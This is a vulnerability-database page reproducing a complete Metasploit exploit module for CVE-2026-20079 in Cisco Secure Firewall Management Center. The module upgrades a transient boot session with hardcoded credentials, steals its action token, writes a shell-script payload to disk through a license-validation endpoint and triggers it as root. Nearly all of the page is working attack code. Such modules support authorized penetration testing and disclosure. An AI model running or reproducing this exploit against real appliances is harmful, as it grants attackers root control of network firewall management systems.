Cisco Secure Firewall Management Center Authentication Bypass RCE
🗓️ 04 Mar 2026 00:00:00Reported by Brandon Sakai, Cale Black, Arian EidizadehType
metasploit🔗 www.rapid7.com👁 7 Views
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
STATIC_SESSION = 'csm_processes'
SESSION_UPGRADE_USERNAME = 'report'
SESSION_UPGRADE_PASSWORD = 'snortrules'
TEMPORARY_SCRIPT = '/var/tmp/license.tmp'
MAX_FINGERPRINT_BYTES = 512 * 1024
ACTION_ID_REGEX = /var\s+sf_action_id\s*=\s*["']([0-9a-fA-F]{32})["']/
FMC_DEVICE_LABEL_REGEX = /"deviceLabel"\s*:\s*"Management Center"/
FMC_ABOUT_MARKERS = ['Cisco Secure Firewall Management Center', 'Model', 'OS', 'Hostname'].freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco Secure Firewall Management Center Authentication Bypass RCE',
'Description' => %q{
This module exploits CVE-2026-20079, an authentication bypass in the
web interface of Cisco Secure Firewall Management Center (FMC). It
upgrades a boot-created machine session, obtains its session-specific
action token, writes a Makeself-compatible shell script, and executes
the selected command payload as root.
Exploitation requires the transient csm_processes startup session to
still exist. Normal authenticated activity or session cleanup may
remove that session, so an affected appliance may not be exploitable
at the time of testing. The underlying request sequence and
FIFO/netcat payload were tested against Cisco Secure FMC 10.0.1-1.
},
'License' => MSF_LICENSE,
'Author' => [
'Brandon Sakai', # (Cisco) - vulnerability discovery
'Cale Black', # (VulnCheck) - exploit-chain research
'Arian Eidizadeh' # (CyberAuth) - independent PoC reproduction and Metasploit module
],
'References' => [
['CVE', '2026-20079'],
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2'],
['URL', 'https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079'],
['URL', 'https://github.com/CyberAuth/CVE-2026-20079'],
['URL', 'https://banks.tools/writeups/cve-2026-20079-cisco-secure-fmc']
],
'DisclosureDate' => '2026-03-04',
'Privileged' => true,
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Unix/Linux Command',
{
'Type' => :unix_cmd,
'DefaultOptions' => {
'ShellPath' => '/bin/sh -i'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [UNRELIABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
end
def check
root_response = send_request_cgi(
{
'method' => 'GET',
'uri' => '/'
}
)
return CheckCode::Unknown('The target did not respond to the root request') unless root_response
if fmc_detected?(root_response.body)
fingerprint_source = 'root response'
else
location = root_response.headers['Location']
unless root_response.redirect? && location && !location.empty?
return CheckCode::Unknown('The root response did not reliably identify Cisco Secure FMC')
end
login_uri = validated_login_redirect(location)
return CheckCode::Unknown('The root response redirected to an unexpected or unsafe location') unless login_uri
login_response = send_request_cgi(
{
'method' => 'GET',
'uri' => login_uri
}
)
return CheckCode::Unknown('The same-origin Cisco Secure FMC login path did not respond') unless login_response
unless login_response.code.between?(200, 299)
return CheckCode::Unknown("The same-origin Cisco Secure FMC login path returned HTTP #{login_response.code}")
end
unless fmc_detected?(login_response.body)
return CheckCode::Unknown(
'The same-origin /ui/login path did not contain reliable Cisco Secure FMC product markers'
)
end
fingerprint_source = 'same-origin /ui/login response'
end
check_authentication_bypass(fingerprint_source)
rescue ::URI::Error => e
CheckCode::Unknown("The login redirect could not be parsed: #{e.message}")
end
def exploit
print_status("Upgrading the boot-created #{STATIC_SESSION} session")
upgrade_session
print_status('Retrieving the session-specific sf_action_id')
action_id = extract_action_id
print_good("Obtained a valid session-specific sf_action_id: #{action_id}")
execute_command(payload.encoded, action_id)
end
def fmc_detected?(body)
body = bounded_response_body(body)
body.include?('/img/cisco-icon.svg') && body.match?(FMC_DEVICE_LABEL_REGEX)
end
def check_authentication_bypass(fingerprint_source)
control_response = send_request_cgi(
{
'method' => 'GET',
'uri' => '/help/about.cgi'
}
)
unless control_response
return CheckCode::Detected(
"Cisco Secure FMC markers were found in the #{fingerprint_source}, " \
'but the unauthenticated about-page control did not respond'
)
end
unless control_response.code == 302 && bounded_response_body(control_response.body).include?('Invalid session ID')
return CheckCode::Detected(
"Cisco Secure FMC markers were found in the #{fingerprint_source}, " \
'but the unauthenticated about-page control did not match'
)
end
session_response = send_request_cgi(
{
'method' => 'GET',
'uri' => '/help/about.cgi',
'cookie' => session_cookie
}
)
unless session_response
return CheckCode::Detected(
'Cisco Secure FMC was identified, but the transient csm_processes session did not respond'
)
end
if protected_fmc_response?(session_response)
CheckCode::Appears(
'Cisco Secure FMC rejected the unauthenticated about-page request but accepted csm_processes and returned ' \
'protected about-page markers; command execution was not tested'
)
else
CheckCode::Detected(
'Cisco Secure FMC was identified, but csm_processes did not return the expected protected content; ' \
'the transient session may be unavailable or in a different state'
)
end
end
def protected_fmc_response?(response)
return false unless response.code == 200
return false unless response.headers['Content-Type'].to_s.downcase.include?('text/html')
body = bounded_response_body(response.body)
FMC_ABOUT_MARKERS.all? { |marker| body.include?(marker) }
end
def bounded_response_body(body)
body.to_s.byteslice(0, MAX_FINGERPRINT_BYTES).to_s
end
def validated_login_redirect(location)
original = ::URI.parse(full_uri('/', vhost_uri: true))
redirected = ::URI.join(original.to_s, location)
return nil if redirected.user || redirected.password || redirected.query || redirected.fragment
return nil unless redirected.path == '/ui/login'
return nil unless same_origin?(original, redirected)
redirected.request_uri
end
def same_origin?(first_uri, second_uri)
first_uri.scheme.to_s.casecmp?(second_uri.scheme.to_s) &&
first_uri.host.to_s.casecmp?(second_uri.host.to_s) &&
first_uri.port == second_uri.port
end
def target_origin
full_uri('/', vhost_uri: true).delete_suffix('/')
end
def session_cookie
"CGISESSID=#{STATIC_SESSION}"
end
def upgrade_session
response = send_request_cgi(
{
'method' => 'POST',
'uri' => '/login.cgi',
'vars_get' => { 'logon' => 'Continue' },
'vars_post' => {
'username' => SESSION_UPGRADE_USERNAME,
'password' => SESSION_UPGRADE_PASSWORD,
'target' => ''
},
'cookie' => session_cookie,
'headers' => {
'Origin' => target_origin,
'Referer' => "#{target_origin}/"
}
}
)
fail_with(Failure::Unreachable, 'The target did not respond to the session-upgrade request') unless response
return if response.code == 302
failure_message = "Expected HTTP 302 from the session upgrade, but received HTTP #{response.code}. " \
'The required startup session may no longer exist, the target may be patched, ' \
'or the target may not be in the expected vulnerable state.'
fail_with(Failure::NotVulnerable, failure_message)
end
def extract_action_id
response = send_request_cgi(
{
'method' => 'GET',
'uri' => '/ui/user/general',
'cookie' => session_cookie
}
)
fail_with(Failure::Unreachable, 'The target did not respond while retrieving sf_action_id') unless response
unless response.code == 200
failure_message = "The authenticated page returned HTTP #{response.code}; " \
'the authentication bypass was not confirmed'
fail_with(Failure::NoAccess, failure_message)
end
match = response.body.to_s.match(ACTION_ID_REGEX)
unless match
failure_message = 'The authenticated page did not expose a valid sf_action_id; ' \
'the authentication bypass was not confirmed'
fail_with(Failure::NoAccess, failure_message)
end
action_id = match[1].downcase
if action_id == ('0' * 32)
failure_message = 'The authenticated page returned the all-zero sf_action_id placeholder; ' \
'the authentication bypass was not confirmed'
fail_with(Failure::NoAccess, failure_message)
end
action_id
end
def build_makeself_script(command)
cleanup_command = "rm -f #{TEMPORARY_SCRIPT}"
[
'#!/bin/sh',
'# This script was generated using Makeself',
'',
cleanup_command,
"trap '#{cleanup_command}' 0",
"trap '#{cleanup_command};exit 1' HUP INT TERM",
command,
cleanup_command,
''
].join("\n")
end
def unicode_newline_json(value)
value.to_json.gsub(/\\+n/) do |escape_sequence|
slash_count = escape_sequence.length - 1
next escape_sequence if slash_count.even?
('\\' * (slash_count - 1)) + '\\u000A'
end
end
def write_payload(action_id, script)
request_body = unicode_newline_json([action_id, 'validateLicense', script])
response = send_request_cgi(
{
'method' => 'POST',
'uri' => '/sajaxintf.cgi',
'vars_get' => {
'rs' => 'callServerFunc',
'rstime' => (Time.now.to_f * 1000).to_i
},
'ctype' => 'application/json',
'data' => request_body,
'cookie' => session_cookie,
'headers' => {
'Origin' => target_origin,
'Referer' => "#{target_origin}/platinum/IDSRuleList.cgi"
}
}
)
unless response
failure_message = 'The target did not return the expected file-write response. Refusing to trigger execution; ' \
"#{TEMPORARY_SCRIPT} may require authorized manual review."
fail_with(Failure::Unreachable, failure_message)
end
unless response.code == 200 && response.body.to_s.include?('License is Invalid')
failure_message = 'The validateLicense response did not confirm the expected file-write behavior. ' \
"Refusing to trigger execution; #{TEMPORARY_SCRIPT} may require authorized manual review."
fail_with(Failure::UnexpectedReply, failure_message)
end
print_good('The target returned the expected validateLicense file-write response')
end
def trigger_payload(action_id)
parameters = [TEMPORARY_SCRIPT, [Faker::Internet.uuid]].to_json
response = send_request_cgi(
{
'method' => 'POST',
'uri' => '/pjb.cgi',
'vars_post' => {
'function' => 'SF::UI::DataObjectLibrary::upgradeReadinessCall',
'parameters' => parameters,
'get_all_errors' => '1',
'sf_action_id' => action_id,
'ss' => ''
},
'cookie' => session_cookie,
'headers' => {
'Origin' => target_origin
}
}
)
unless response
print_warning(
"Cleanup of #{TEMPORARY_SCRIPT} is unverified because the trigger did not return; " \
'the file may require authorized manual removal.'
)
print_warning(
'The trigger request timed out or the connection closed after submission. ' \
'This can be expected; only a new Metasploit session confirms command execution.'
)
return
end
unless response.code == 200
print_warning(
"Cleanup of #{TEMPORARY_SCRIPT} is unverified because the trigger returned an unexpected response; " \
'the file may require authorized manual removal.'
)
failure_message = "The trigger returned HTTP #{response.code} instead of the expected HTTP 200; " \
'no command execution was confirmed'
fail_with(Failure::UnexpectedReply, failure_message)
end
print_status(
'The trigger returned HTTP 200; waiting for the payload handler because HTTP success alone does not prove command execution'
)
end
def execute_command(command, action_id)
script = build_makeself_script(command)
print_status("Writing the Makeself-compatible payload to #{TEMPORARY_SCRIPT}")
write_payload(action_id, script)
register_file_for_cleanup(TEMPORARY_SCRIPT)
print_status('Triggering the payload through upgradeReadinessCall')
trigger_payload(action_id)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Mar 2026 00:00Current
CVSS 3.110
EPSS0.75752
SSVC